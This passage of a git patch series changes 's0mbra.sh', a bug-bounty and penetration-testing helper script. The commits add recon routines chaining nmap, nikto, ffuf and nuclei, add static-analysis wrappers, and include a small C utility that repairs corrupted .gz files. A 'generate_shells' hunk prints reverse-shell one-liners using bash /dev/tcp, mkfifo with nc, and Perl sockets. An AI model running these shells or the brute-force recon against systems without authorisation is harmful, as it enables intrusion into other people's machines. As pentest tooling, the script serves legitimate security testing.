"X-Hackerone: bl4de" + ffuf -ac -c -w /Users/bl4de/hacking/dictionaries/$2.txt -u $1FUZZ -mc $HTTP_RESP_CODES -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" fi echo -e "$BLUE\n[+] Done! $CLR" } -fufu() { - clear - echo -e "$BLUE[+] Enumerate web resources on $1 with starter.txt dictionary; matching HTTP $2...$CLR" - ffuf -ac -c -w /Users/bl4de/hacking/dictionaries/starter.txt -u $1FUZZ -mc $2 -H "X-Hackerone: bl4de" - echo -e "$BLUE\n[+] Done! $CLR" -} - generate_shells() { clear port=$2 @@ -521,9 +518,6 @@ case "$cmd" in fu) fu "$2" "$3" "$4" ;; - fufu) - fufu "$2" "$3" - ;; s3go) s3go "$2" "$3" ;; @@ -567,8 +561,7 @@ case "$cmd" in echo -e "\t$CYAN apk $GRAY[.apk FILE]$CLR\t\t\t\t -> extracts APK file and run apktool on it" echo -e "\t$CYAN abe $GRAY[.ab FILE]$CLR\t\t\t\t\t -> extracts Android .ab backup file into .tar (with android-backup-extractor)" echo -e "$BLUE:: WEB ::$CLR" - echo -e "\t$CYAN fu $GRAY[URL] [DICT] [*EXT/*ENDSLASH]$CLR\t\t -> web application enumeration (DICT: starter, lowercase, wordlist)" - echo -e "\t$CYAN fufu $GRAY[URL] [HTTP RESPONSE CODE(S)]$CLR\t\t -> web application enumeration with starter.txt" + echo -e "\t$CYAN fu $GRAY[URL] [DICT] [*EXT/*ENDSLASH.]$CLR\t\t -> web application enumeration (DICT: starter, lowercase, wordlist)" echo -e "\n--------------------------------------------------------------------------------------------------------------" echo -e "$GREEN Hack The Planet!\n$CLR" From a455e88033176b34ee5bf7040e1cb0cc04bb8f79 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Wed, 8 Dec 2021 12:51:22 +0000 Subject: [PATCH 228/460] [s0mbra] ransack() - do recon on single domain --- s0mbra.sh | 38 ++++++++++++++++++++++++++++++++++++-- 1 file changed, 36 insertions(+), 2 deletions(-) diff --git a/s0mbra.sh b/s0mbra.sh index 2c0338f..ad6c98e 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -226,7 +226,6 @@ htpx() { # automated recon: subfinder + nmap + httpx + ffuf | on domain recon() { TMPDIR=$(pwd) - ITERATOR=1 START_TIME=$(date) echo -e "$BLUE[+] Running quick, dirty recon on $1 domain: subfinder + httpx + ffuf on 200 OK...$CLR\n" @@ -259,7 +258,38 @@ recon() { echo -e " subfinder output file -> $GRAY $TMPDIR/s0mbra_subfinder.tmp$GREEN" echo -e " httpx output file -> $GRAY $TMPDIR/s0mbra_httpx.tmp$GREEN" echo -e " nmap output file -> $GRAY $TMPDIR/s0mbra_recon_nmap.tmp" - echo -e "\n$BLUE[+] Done." + echo -e "\n$BLUE[+] Done.$CLR" +} + +# does recon on URL: nmap, ffuf, nuclei, other smaller tools, ...? +# pass ONLY hostname (without protocol prefix) +ransack() { + HOSTNAME=$1 + TMPDIR=$(pwd) + START_TIME=$(date) + echo -e "$BLUE[+] Running bruteforce, dirty recon on $HOSTNAME : nmap + ffuf + nuclei...$CLR\n" + + # onaws + echo -e "\n$GREEN--> onaws? $CLR\n" + onaws $HOSTNAME + + # nmap + echo -e "\n$GREEN--> nmap (top 1000 ports + versioon discovery + nse scripts)$CLR\n" + nmap --top-ports 1000 -n --disable-arp-ping -sV -A -oN $TMPDIR/s0mbra_nmap_$HOSTNAME.tmp $HOSTNAME + + # ffuf + ffuf -ac -c -w $DICT_HOME/starter.txt -u https://$HOSTNAME/FUZZ -mc=200,206,301,302,403,422,429,500 -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -o $TMPDIR/s0mbra_recon_ffuf_starter_$HOSTNAME.log + ffuf -ac -c -w $DICT_HOME/lowercase.txt -u https://$HOSTNAME/FUZZ/ -mc=200,206,301,302,403,422,429,500 -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -o $TMPDIR/s0mbra_recon_ffuf_lowercase_$HOSTNAME.log + + # nuclei + nuclei -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -u $HOSTNAME -o $TMPDIR/s0mbra_nuclei_$HOSTNAME.log; + + END_TIME=$(date) + echo -e "\n$GREEN[+] Finished!" + echo -e "\nstarted at: $RED $START_TIME $GREEN" + echo -e "finished at: $RED $END_TIME $GREEN\n" + + echo -e "\n$BLUE[+] Done.$CLR" } # checking AWS S3 bucket @@ -455,6 +485,9 @@ case "$cmd" in recon) recon "$2" ;; + ransack) + ransack "$2" + ;; full_nmap_scan) full_nmap_scan "$2" "$3" ;; @@ -531,6 +564,7 @@ case "$cmd" in echo -e "Usage:\t$YELLOW s0mbra.sh {cmd} {arg1} {arg2}...{argN}\n" echo -e "$BLUE:: RECON ::$CLR" echo -e "\t$CYAN recon $GRAY[DOMAIN]$CLR\t\t\t\t\t -> basic recon: subfinder + nmap + httpx + ffuf + nuclei (one tool at the time on all hosts)" + echo -e "\t$CYAN ransack $GRAY[HOST]$CLR\t\t\t\t\t -> bruteforce recon on host: nmap (top 1000 ports) + ffuf + nuclei" echo -e "\t$CYAN htpx $GRAY[DOMAINS_LIST] [OUTPUT_FILE] $CLR\t\t -> httpx against DOMAINS_LIST, matching 200, 403 and 500 + stack, web server discovery" echo -e "\t$CYAN quick_nmap_scan $GRAY[IP] [*PORTS]$CLR\t\t\t -> nmap --top-ports [PORTS] to quickly enumerate open N-ports" echo -e "\t$CYAN full_nmap_scan $GRAY[IP] [*PORTS]$CLR\t\t\t -> nmap --top-ports [PORTS] to enumerate ports; -p- if no [PORTS] given; then -sV -sC -A on found open ports" From b71f476edc5194a4a4538c6959c332b84a50037d Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Tue, 14 Dec 2021 08:56:17 +0000 Subject: [PATCH 229/460] [s0mbra] added nikto to ransack() --- s0mbra.sh | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/s0mbra.sh b/s0mbra.sh index ad6c98e..f264482 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -277,6 +277,10 @@ ransack() { echo -e "\n$GREEN--> nmap (top 1000 ports + versioon discovery + nse scripts)$CLR\n" nmap --top-ports 1000 -n --disable-arp-ping -sV -A -oN $TMPDIR/s0mbra_nmap_$HOSTNAME.tmp $HOSTNAME + # nikto + echo -e "\n$GREEN--> nikto (max. 10 minutes) $CLR\n" + nikto -host https://$HOSTNAME -404code 404,301,302,304 -maxtime 10m -o $TMPDIR/s0mbra_nikto_$HOSTNAME.log -Format txt -useragent "bl4de/HackerOne" + # ffuf ffuf -ac -c -w $DICT_HOME/starter.txt -u https://$HOSTNAME/FUZZ -mc=200,206,301,302,403,422,429,500 -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -o $TMPDIR/s0mbra_recon_ffuf_starter_$HOSTNAME.log ffuf -ac -c -w $DICT_HOME/lowercase.txt -u https://$HOSTNAME/FUZZ/ -mc=200,206,301,302,403,422,429,500 -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -o $TMPDIR/s0mbra_recon_ffuf_lowercase_$HOSTNAME.log From 200189c5688ba7635f54fd6723a8cad8e9fe6077 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Wed, 15 Dec 2021 02:57:59 +0000 Subject: [PATCH 230/460] [s0mbra] new commands - kiterunner, pysast --- s0mbra.sh | 46 ++++++++++++++++++++++++++++++++++++++++------ 1 file changed, 40 insertions(+), 6 deletions(-) diff --git a/s0mbra.sh b/s0mbra.sh index f264482..fd17ef4 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -8,7 +8,7 @@ HACKING_HOME="/Users/bl4de/hacking" GRAY='\033[1;30m' -RED='\033[1;31m' +RED=' $CLR' GREEN='\033[1;32m' LIGHTGREEN='\033[32m' YELLOW='\033[1;33m' @@ -296,6 +296,32 @@ ransack() { echo -e "\n$BLUE[+] Done.$CLR" } +kiterunner() { + HOSTNAME=$1 + echo -e "$BLUE[+] Running kiterunner using apis file...$CLR\n" + + kr scan apis -w $DICT_HOME/routes-large.kite -x 20 -j 100 --fail-status-codes 400,401,404,403,501,502,426,411 + echo -e "\n$BLUE[+] Done.$CLR" +} + +# Python Static Source Code analysis +pysast() { + FILE_NAME=$1 + echo -e "$BLUE[+] Running pyflakes against $FILE_NAME $CLR\n" + python3 -m pyflakes $FILE_NAME + + echo -e "$BLUE[+] Running mypy against $FILE_NAME $CLR\n" + python3 -m mypy $FILE_NAME + + echo -e "\n$BLUE[+] Running bandit against $FILE_NAME $CLR\n" + python3 -m bandit -r $FILE_NAME + + echo -e "\n$BLUE[+] Running vulture against $FILE_NAME $CLR\n" + python3 -m vulture $FILE_NAME + + echo -e "\n$BLUE[+] Done.$CLR" +} + # checking AWS S3 bucket s3() { echo -e "$BLUE[+] Checking AWS S3 $1 bucket$CLR" @@ -441,10 +467,10 @@ generate_shells() { echo -e "$BLUE[+] OK, here are your shellz...\n$CLR" - echo -e "\033[1;31m[bash]\033[0m bash -i >& /dev/tcp/$1/$port 0>&1" - echo -e "\033[1;31m[bash]\033[0m 0<&196;exec 196<>/dev/tcp/$1/$port; sh <&196 >&196 2>&196" - echo -e "\033[1;31m[bash]\033[0m rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc $1 $port >/tmp/f" - echo -e "\033[1;31m[bash]\033[0m rm -f backpipe; mknod /tmp/backpipe p && nc $ip $port 0backpipe" + echo -e " $CLR[bash]\033[0m bash -i >& /dev/tcp/$1/$port 0>&1" + echo -e " $CLR[bash]\033[0m 0<&196;exec 196<>/dev/tcp/$1/$port; sh <&196 >&196 2>&196" + echo -e " $CLR[bash]\033[0m rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc $1 $port >/tmp/f" + echo -e " $CLR[bash]\033[0m rm -f backpipe; mknod /tmp/backpipe p && nc $ip $port 0backpipe" echo -e "$NEWLINE" echo -e "\033[1;34m[perl]\033[0m perl -e 'use Socket;\$i=\"$1\";\$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in(\$p,inet_aton(\$i)))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/sh -i\");};'" echo -e "\033[1;34m[perl]\033[0m perl -MIO -e '\$p=fork;exit,if(\$p);\$c=new IO::Socket::INET(PeerAddr,\"$1:$port\");STDIN->fdopen(\$c,r);$~->fdopen(\$c,w);system\$_ while<>;'" @@ -492,6 +518,12 @@ case "$cmd" in ransack) ransack "$2" ;; + kiterunner) + kiterunner "$2" + ;; + pysast) + pysast "$2" + ;; full_nmap_scan) full_nmap_scan "$2" "$3" ;; @@ -568,7 +600,8 @@ case "$cmd" in echo -e "Usage:\t$YELLOW s0mbra.sh {cmd} {arg1} {arg2}...{argN}\n" echo -e "$BLUE:: RECON ::$CLR" echo -e "\t$CYAN recon $GRAY[DOMAIN]$CLR\t\t\t\t\t -> basic recon: subfinder + nmap + httpx + ffuf + nuclei (one tool at the time on all hosts)" - echo -e "\t$CYAN ransack $GRAY[HOST]$CLR\t\t\t\t\t -> bruteforce recon on host: nmap (top 1000 ports) + ffuf + nuclei" + echo -e "\t$CYAN ransack $GRAY[HOST]$CLR\t\t\t\t\t -> bruteforce recon on host: nmap (top 1000 ports) + nikto + ffuf + nuclei" + echo -e "\t$CYAN kiterunner $GRAY[HOST] (*apis)$CLR\t\t\t -> runs kiterunner against apis file on [HOST] (create apis file first ;) )" echo -e "\t$CYAN htpx $GRAY[DOMAINS_LIST] [OUTPUT_FILE] $CLR\t\t -> httpx against DOMAINS_LIST, matching 200, 403 and 500 + stack, web server discovery" echo -e "\t$CYAN quick_nmap_scan $GRAY[IP] [*PORTS]$CLR\t\t\t -> nmap --top-ports [PORTS] to quickly enumerate open N-ports" echo -e "\t$CYAN full_nmap_scan $GRAY[IP] [*PORTS]$CLR\t\t\t -> nmap --top-ports [PORTS] to enumerate ports; -p- if no [PORTS] given; then -sV -sC -A on found open ports" @@ -593,6 +626,7 @@ case "$cmd" in echo -e "\t$CYAN npm_scan $GRAY[MODULE_NAME]\t\t$YELLOW(JavaScript)$CLR\t -> static code analysis of MODULE_NAME npm module with nodestructor" echo -e "\t$CYAN javascript_sca $GRAY[FILE_NAME]\t$YELLOW(JavaScript)$CLR\t -> static code analysis of single JavaScript file with nodestructor" echo -e "\t$CYAN decompile_jar $GRAY[.jar FILE]\t$YELLOW(Java)$CLR\t\t -> open FILE.jar file in JD-Gui" + echo -e "\t$CYAN pysast $GRAY[.py FILE]\t\t$YELLOW(Python)$CLR\t -> Static Code Analysis of Python file with pyflakes, mypy, bandit and vulture" echo -e "$BLUE:: ANDROID ::$CLR" echo -e "\t$CYAN jadx $GRAY[.apk FILE]\t\t$YELLOW(Java)$CLR\t\t -> open FILE.apk file in JADX GUI" echo -e "\t$CYAN dex_to_jar $GRAY[.dex file]$CLR\t\t\t\t -> exports .dex file into .jar" From 9315746eaa94352f7a4f086d9484cb2d375e98f0 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Wed, 15 Dec 2021 10:08:18 +0000 Subject: [PATCH 231/460] [s0mbra] some changes in pysast() --- s0mbra.sh | 18 +++++++++--------- 1 file changed, 9 insertions(+), 9 deletions(-) diff --git a/s0mbra.sh b/s0mbra.sh index fd17ef4..3d7a20b 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -306,18 +306,18 @@ kiterunner() { # Python Static Source Code analysis pysast() { - FILE_NAME=$1 - echo -e "$BLUE[+] Running pyflakes against $FILE_NAME $CLR\n" - python3 -m pyflakes $FILE_NAME + DIR_NAME=$1 + echo -e "$BLUE[+] Running pyflakes against $DIR_NAME $CLR\n" + python3 -m pyflakes $DIR_NAME - echo -e "$BLUE[+] Running mypy against $FILE_NAME $CLR\n" - python3 -m mypy $FILE_NAME + echo -e "$BLUE[+] Running mypy against $DIR_NAME $CLR\n" + python3 -m mypy $DIR_NAME - echo -e "\n$BLUE[+] Running bandit against $FILE_NAME $CLR\n" - python3 -m bandit -r $FILE_NAME + echo -e "\n$BLUE[+] Running bandit against $DIR_NAME $CLR\n" + python3 -m bandit -r $DIR_NAME - echo -e "\n$BLUE[+] Running vulture against $FILE_NAME $CLR\n" - python3 -m vulture $FILE_NAME + echo -e "\n$BLUE[+] Running vulture against $DIR_NAME $CLR\n" + python3 -m vulture $DIR_NAME echo -e "\n$BLUE[+] Done.$CLR" } From 517fd78bf3577aed33100a9e0bb90b1c3ea8d946 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Fri, 17 Dec 2021 14:51:23 +0000 Subject: [PATCH 232/460] [s0mbra] added snyktest command (snyk integration) --- s0mbra.sh | 13 +++++++++++++ 1 file changed, 13 insertions(+) diff --git a/s0mbra.sh b/s0mbra.sh index 3d7a20b..dd55909 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -135,6 +135,15 @@ npm_scan() { echo -e "\n\n[+]Done." } + +# static code analysis of npm module installed in ~/node_modules +# with nodestructor and semgrep +snyktest() { + echo -e "$BLUE[+] Starting snyk test in current directory...$CLR" + snyk test + echo -e "\n\n[+]Done." +} + # static code analysis of single JavaScript code javascript_sca() { echo -e "$BLUE[+] Starting static code analysis of $1 file with nodestructor and semgrep...$CLR" @@ -548,6 +557,9 @@ case "$cmd" in npm_scan) npm_scan "$2" ;; + snyktest) + snyktest + ;; javascript_sca) javascript_sca "$2" ;; @@ -624,6 +636,7 @@ case "$cmd" in echo -e "\t$CYAN rockyou_zip $GRAY[ZIP file]$CLR\t\t\t\t -> crack ZIP password" echo -e "$BLUE:: STATIC CODE ANALYSIS ::$CLR" echo -e "\t$CYAN npm_scan $GRAY[MODULE_NAME]\t\t$YELLOW(JavaScript)$CLR\t -> static code analysis of MODULE_NAME npm module with nodestructor" + echo -e "\t$CYAN snyktest $GRAY[DIR]\t\t\t$YELLOW(JavaScript)$CLR\t -> runs snyk test on DIR (this should be root of Node app, where package.json exists)" echo -e "\t$CYAN javascript_sca $GRAY[FILE_NAME]\t$YELLOW(JavaScript)$CLR\t -> static code analysis of single JavaScript file with nodestructor" echo -e "\t$CYAN decompile_jar $GRAY[.jar FILE]\t$YELLOW(Java)$CLR\t\t -> open FILE.jar file in JD-Gui" echo -e "\t$CYAN pysast $GRAY[.py FILE]\t\t$YELLOW(Python)$CLR\t -> Static Code Analysis of Python file with pyflakes, mypy, bandit and vulture" From 13020f834958dade8fb81e2077a9e7fc9b0f74f3 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Sun, 19 Dec 2021 00:36:36 +0000 Subject: [PATCH 233/460] [s0mbra] removed nmap_vuln_scan option --- s0mbra.sh | 24 ------------------------ 1 file changed, 24 deletions(-) diff --git a/s0mbra.sh b/s0mbra.sh index dd55909..5d34d46 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -43,26 +43,6 @@ full_nmap_scan() { echo -e "$BLUE\n[+] Done! $CLR" } -# --script=vulscan/vulscan.nse -# requires: https://github.com/scipag/vulscan -nmap_vuln_scan() { - if [[ -z "$2" ]]; then - echo -e "$BLUE[+] Running full nmap scan with vulnerability scanning against all ports on $1" - echo -e " Will probably take a while, so go grab some coffee or something.... $CYAN" - ports=$(nmap -p- $1 | grep open | cut -d'/' -f 1 | tr '\n' ',') - echo -e "$BLUE[+] running version detection + nse scripts against $ports...$CYAN" - nmap -p"$ports" -sV -sC -A -n --script=vulscan/vulscan.nse "$1" -oN ./"$1".log -oX ./"$1".xml - else - echo -e "$BLUE[+] Running full nmap scan with vulnerability scanning against $2 port(s) on $1 ..." - echo -e " Will probably take a while, so go grab some coffee or something...." - echo -e " ...search open ports... $CYAN" - ports=$(nmap --top-ports "$2" $1 | grep open | cut -d'/' -f 1 | tr '\n' ',') - echo -e "$BLUE[+] running version detection + nse scripts against $ports...$CYAN" - nmap -p"$ports" -sV -sC -A -n --script=vulscan/vulscan.nse "$1" -oN ./"$1".log -oX ./"$1".xml - fi - - echo -e "$BLUE\n[+] Done! $CLR" -} # runs --top-ports $2 against IP quick_nmap_scan() { @@ -539,9 +519,6 @@ case "$cmd" in quick_nmap_scan) quick_nmap_scan "$2" "$3" ;; - nmap_vuln_scan) - nmap_vuln_scan "$2" "$3" - ;; http) http "$2" ;; @@ -617,7 +594,6 @@ case "$cmd" in echo -e "\t$CYAN htpx $GRAY[DOMAINS_LIST] [OUTPUT_FILE] $CLR\t\t -> httpx against DOMAINS_LIST, matching 200, 403 and 500 + stack, web server discovery" echo -e "\t$CYAN quick_nmap_scan $GRAY[IP] [*PORTS]$CLR\t\t\t -> nmap --top-ports [PORTS] to quickly enumerate open N-ports" echo -e "\t$CYAN full_nmap_scan $GRAY[IP] [*PORTS]$CLR\t\t\t -> nmap --top-ports [PORTS] to enumerate ports; -p- if no [PORTS] given; then -sV -sC -A on found open ports" - echo -e "\t$CYAN nmap_vuln_scan $GRAY[IP] [*PORTS]$CLR\t\t\t -> nmap --top-ports [PORTS] to enumerate ports; -p- if no [PORTS] given; then -sV -sC -A --script=vulscan/vulscan.nse on found open ports" echo -e "\t$CYAN nfs_enum $GRAY[IP]$CLR\t\t\t\t\t -> enumerates nfs shares on [IP] (2049 port has to be open/listed in rpcinfo)" echo -e "$BLUE:: AMAZON AWS S3 ::$CLR" echo -e "\t$CYAN s3 $GRAY[bucket]$CLR\t\t\t\t\t -> checks privileges on AWS S3 bucket (ls, cp, mv etc.)" From 21f6539d376ea3e4c36c511ef0e8a835f4b92187 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Sun, 19 Dec 2021 11:05:07 +0000 Subject: [PATCH 234/460] [fixgz] an utility to fix corrupted .gz files --- fixgz | Bin 0 -> 49648 bytes fixgz.cpp | 52 ++++++++++++++++++++++++++++++++++++++++++++++++++++ 2 files changed, 52 insertions(+) create mode 100755 fixgz create mode 100644 fixgz.cpp diff --git a/fixgz b/fixgz new file mode 100755 index 0000000000000000000000000000000000000000..71f6d9cfc73c4437564f056e301828f25293b038 GIT binary patch literal 49648 zcmeI*L1-LR7zgmTX_9VZ+9V*QV%4!4Z55MLS_qZYP0iwjhBn$%iVBb2>?B#)Y?j?w zng2M;+|*+7KoL4u0w|9fv{vpY@Ch4O#!=DqLD zH{ZPZ&8D}ZKmPsufBTh+?Nds%pm(ERX;W%hIhZN+5W0)5_4x41$=8#wUX<157Hbao zjHJ#w61AR4UYTf4G1n)W*HjQ=D=O@gp|$VL`!cgFTJPo%9tNk9!KNf`4U=VTRf~pdD|gmHL5JgC*AFBG#hy9(>W(I~U|jEbjGo$NnZu zeleS$4icjEUJL4lq!Kr_rrJ26bvb`Eo6qQMernFd&F|x@pq{*QX%a_k*faJh@AVUO ztw)9@hV@GqFI=))N!aI97)^_e@_UmmuStG$T2Ie4ywD#pdgz7U(1utT`7@R_yFrF3awHa(Zq1;2RLddKbMroPk&8~(PG^ss52N%^TT zx^sWW7w!JyL5jqU^>(kcv)#YXvC#|XlOvNT#Ga(*8>|&h9D0$*@1pOxB4vdT6D^pAAm(xygIL7Rdm`N2m$|2&U12VM4Hu8wt@ zxwX92@(fnH%{hC(vo4zF!M_)cP3}90F6ZoT;xYWpV!M06el9JPd~dezTp#w8P1~!V z!XWj(ShJodf>^xRC_n)UP=Epypa2CZKmiI+fC3bt00k&O0SZun0u-PC1t>rP3Q&Lo z6rcbFC_n)UP=Epypa2CZKmiI+fC3bt00k&O0SZun0u;Ev1TMQPx80?!fm_Lc<-t}e zJMKz(d#SS1()HmnEV!#}C-9x3yE^DzKV8Pxk0;lv4uofZ{fzUr*f%EA6zj(MgcSSQ7F%yF_Hk1& zNj_|gy$>(V=1Y~WgI&w=x#?1++R=4QKF(aN zAh*0;9hP~ric2@wYPA|taZzJ}gM^c{DsHT9)OuTyU+Zl*$GACmm}4i7W7i)!h++6r zt@pNM&)}doe?!$7DY*HI%;dw{&7Wi@pL%ZoAhXjl`xdiuDK+h#ai+5K)9*OxRHhFD z0#7C#s+d;h%o%4gmCw)l&RoIEJH4e2bv1fsvgoCJ&z!U0vL3}Pq&1H6U8;QNehQ;> z`9@uu%;kGm`SP_JJ!thwxWJJD6rcbFC_n)UP=Epypa2CZKmiI+fC3bt00k&O0SZun z0u-PC1t>rP3Q&Lo6rcbFC_n)UP=Epypa2CZKmiI+fC3bt00k&O0SZun0u-PC1t>s) zdn@o{@c+H{1>;~ao(smYV7#}xrP3Q&Lo6rcbFC_n)UP=Epy zpa2CZKmiI+fC3bt00k&O0SZun0u-PC1t>rP3Q&Lo6rcbFC_n)UP=Epypa2CZKmiI+ zfCBfoK+hBEvOHl=LTg>}GhVS+P_Go#jYMW4m%&Oot<%{&*3}KkD@mp|pY;)z;+RiO zd;X*Z-4e_dyu1WQBq$WKd4Ebm$Ao2*C{@s6TD7SbJv)PH-elSL^o*C1+dMv-%H~yX z3v%|Uo9~)rRiC_x_)uJ_N$i_$Qx}=)+G>!=B@pF;*R3v^O z5|2dU^O3j}aT|I&`hIk56_26R0rb7jIZE$gpp8Mp8?od8cEDT*#zbiEcwt(bCA@~W KQ@)1{p#2YMI*(2O literal 0 HcmV?d00001 diff --git a/fixgz.cpp b/fixgz.cpp new file mode 100644 index 0000000..1e869c6 --- /dev/null +++ b/fixgz.cpp @@ -0,0 +1,52 @@ +/* fixgz attempts to fix a binary file transferred in ascii mode by + * removing each extra CR when it followed by LF. + * usage: fixgz bad.gz fixed.gz + + * Copyright 1998 Jean-loup Gailly + * This software is provided 'as-is', without any express or implied + * warranty. In no event will the author be held liable for any damages + * arising from the use of this software. + + * Permission is granted to anyone to use this software for any purpose, + * including commercial applications, and to alter it and redistribute it + * freely. + */ + +#include +#include + +int main(int argc, char* argv[]) +{ + int c1, c2; /* input bytes */ + FILE* in; /* corrupted input file */ + FILE* out; /* fixed output file */ + + if (argc <= 2) { + fprintf(stderr, "usage: fixgz bad.gz fixed.gz\n"); + exit(1); + } + in = fopen(argv[1], "rb"); + if (in == NULL) { + fprintf(stderr, "fixgz: cannot open %s\n", argv[1]); + exit(1); + } + out = fopen(argv[2], "wb"); + if (in == NULL) { + fprintf(stderr, "fixgz: cannot create %s\n", argv[2]); + exit(1); + } + + c1 = fgetc(in); + + while ((c2 = fgetc(in)) != EOF) { + if (c1 != '\r' || c2 != '\n') { + fputc(c1, out); + } + c1 = c2; + } + if (c1 != EOF) { + fputc(c1, out); + } + exit(0); + return 0; /* avoid warning */ +} \ No newline at end of file From 59b2d36475b7246e7c4b7b71f78c8207353eec55 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Sun, 19 Dec 2021 14:16:36 +0000 Subject: [PATCH 235/460] [s0mbra] ransack refactoring - added proto param --- s0mbra.sh | 32 ++++++++++++++++++-------------- 1 file changed, 18 insertions(+), 14 deletions(-) diff --git a/s0mbra.sh b/s0mbra.sh index 5d34d46..80b7dc4 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -28,15 +28,15 @@ set_ip() { # runs $2 port(s) against IP; then -sV -sC -A against every open port found full_nmap_scan() { if [[ -z "$2" ]]; then - echo -e "$BLUE[+] Running full nmap scan against all ports on $1 ...$CYAN" + echo -e "$BLUE[+] Running full nmap scan against all ports on $1 ...$CLR" ports=$(nmap -p- $1 | grep open | cut -d'/' -f 1 | tr '\n' ',') - echo -e "$BLUE[+] running version detection + nse scripts against $ports...$CYAN" + echo -e "$BLUE[+] running version detection + nse scripts against $ports...$CLR" nmap -p"$ports" -sV -sC -A -n "$1" -oN ./"$1".log -oX ./"$1".xml else - echo -e "$BLUE[+] Running full nmap scan against $2 port(s) on $1 ..." - echo -e " ...search open ports...$CYAN" + echo -e "$BLUE[+] Running full nmap scan against $2 port(s) on $1 ...$CLR" + echo -e " ...search open ports...$CLR" ports=$(nmap --top-ports "$2" $1 | grep open | cut -d'/' -f 1 | tr '\n' ',') - echo -e "$BLUE[+] running version detection + nse scripts against $ports...$CYAN" + echo -e "$BLUE[+] running version detection + nse scripts against $ports...$CLR" nmap -p"$ports" -sV -sC -A -n "$1" -oN ./"$1".log -oX ./"$1".xml fi @@ -254,9 +254,13 @@ recon() { # pass ONLY hostname (without protocol prefix) ransack() { HOSTNAME=$1 - TMPDIR=$(pwd) + PROTO=$2 + rm -rf $(pwd)/s0mbra + mkdir -vp $(pwd)/s0mbra + TMPDIR=$(pwd)/s0mbra + START_TIME=$(date) - echo -e "$BLUE[+] Running bruteforce, dirty recon on $HOSTNAME : nmap + ffuf + nuclei...$CLR\n" + echo -e "$BLUE[+] Running bruteforced, dirty, noisy as hell recon on $PROTO://$HOSTNAME : nmap + ffuf + nuclei...$CLR" # onaws echo -e "\n$GREEN--> onaws? $CLR\n" @@ -264,18 +268,18 @@ ransack() { # nmap echo -e "\n$GREEN--> nmap (top 1000 ports + versioon discovery + nse scripts)$CLR\n" - nmap --top-ports 1000 -n --disable-arp-ping -sV -A -oN $TMPDIR/s0mbra_nmap_$HOSTNAME.tmp $HOSTNAME + nmap --top-ports 10000 -n --disable-arp-ping -sV -A -oN $TMPDIR/s0mbra_nmap_$HOSTNAME.tmp $HOSTNAME # nikto echo -e "\n$GREEN--> nikto (max. 10 minutes) $CLR\n" - nikto -host https://$HOSTNAME -404code 404,301,302,304 -maxtime 10m -o $TMPDIR/s0mbra_nikto_$HOSTNAME.log -Format txt -useragent "bl4de/HackerOne" + nikto -host $PROTO://$HOSTNAME -404code 404,301,302,304 -maxtime 10m -o $TMPDIR/s0mbra_nikto_$HOSTNAME.log -Format txt -useragent "bl4de/HackerOne" # ffuf - ffuf -ac -c -w $DICT_HOME/starter.txt -u https://$HOSTNAME/FUZZ -mc=200,206,301,302,403,422,429,500 -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -o $TMPDIR/s0mbra_recon_ffuf_starter_$HOSTNAME.log - ffuf -ac -c -w $DICT_HOME/lowercase.txt -u https://$HOSTNAME/FUZZ/ -mc=200,206,301,302,403,422,429,500 -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -o $TMPDIR/s0mbra_recon_ffuf_lowercase_$HOSTNAME.log + ffuf -ac -c -w $DICT_HOME/starter.txt -u $PROTO://$HOSTNAME/FUZZ -mc=200,206,301,302,403,422,429,500 -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -o $TMPDIR/s0mbra_recon_ffuf_starter_$HOSTNAME.log + ffuf -ac -c -w $DICT_HOME/lowercase.txt -u $PROTO://$HOSTNAME/FUZZ/ -mc=200,206,301,302,403,422,429,500 -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -o $TMPDIR/s0mbra_recon_ffuf_lowercase_$HOSTNAME.log # nuclei - nuclei -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -u $HOSTNAME -o $TMPDIR/s0mbra_nuclei_$HOSTNAME.log; + nuclei -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -u $PROTO://$HOSTNAME -o $TMPDIR/s0mbra_nuclei_$HOSTNAME.log; END_TIME=$(date) echo -e "\n$GREEN[+] Finished!" @@ -505,7 +509,7 @@ case "$cmd" in recon "$2" ;; ransack) - ransack "$2" + ransack "$2" "$3" ;; kiterunner) kiterunner "$2" @@ -589,7 +593,7 @@ case "$cmd" in echo -e "Usage:\t$YELLOW s0mbra.sh {cmd} {arg1} {arg2}...{argN}\n" echo -e "$BLUE:: RECON ::$CLR" echo -e "\t$CYAN recon $GRAY[DOMAIN]$CLR\t\t\t\t\t -> basic recon: subfinder + nmap + httpx + ffuf + nuclei (one tool at the time on all hosts)" - echo -e "\t$CYAN ransack $GRAY[HOST]$CLR\t\t\t\t\t -> bruteforce recon on host: nmap (top 1000 ports) + nikto + ffuf + nuclei" + echo -e "\t$CYAN ransack 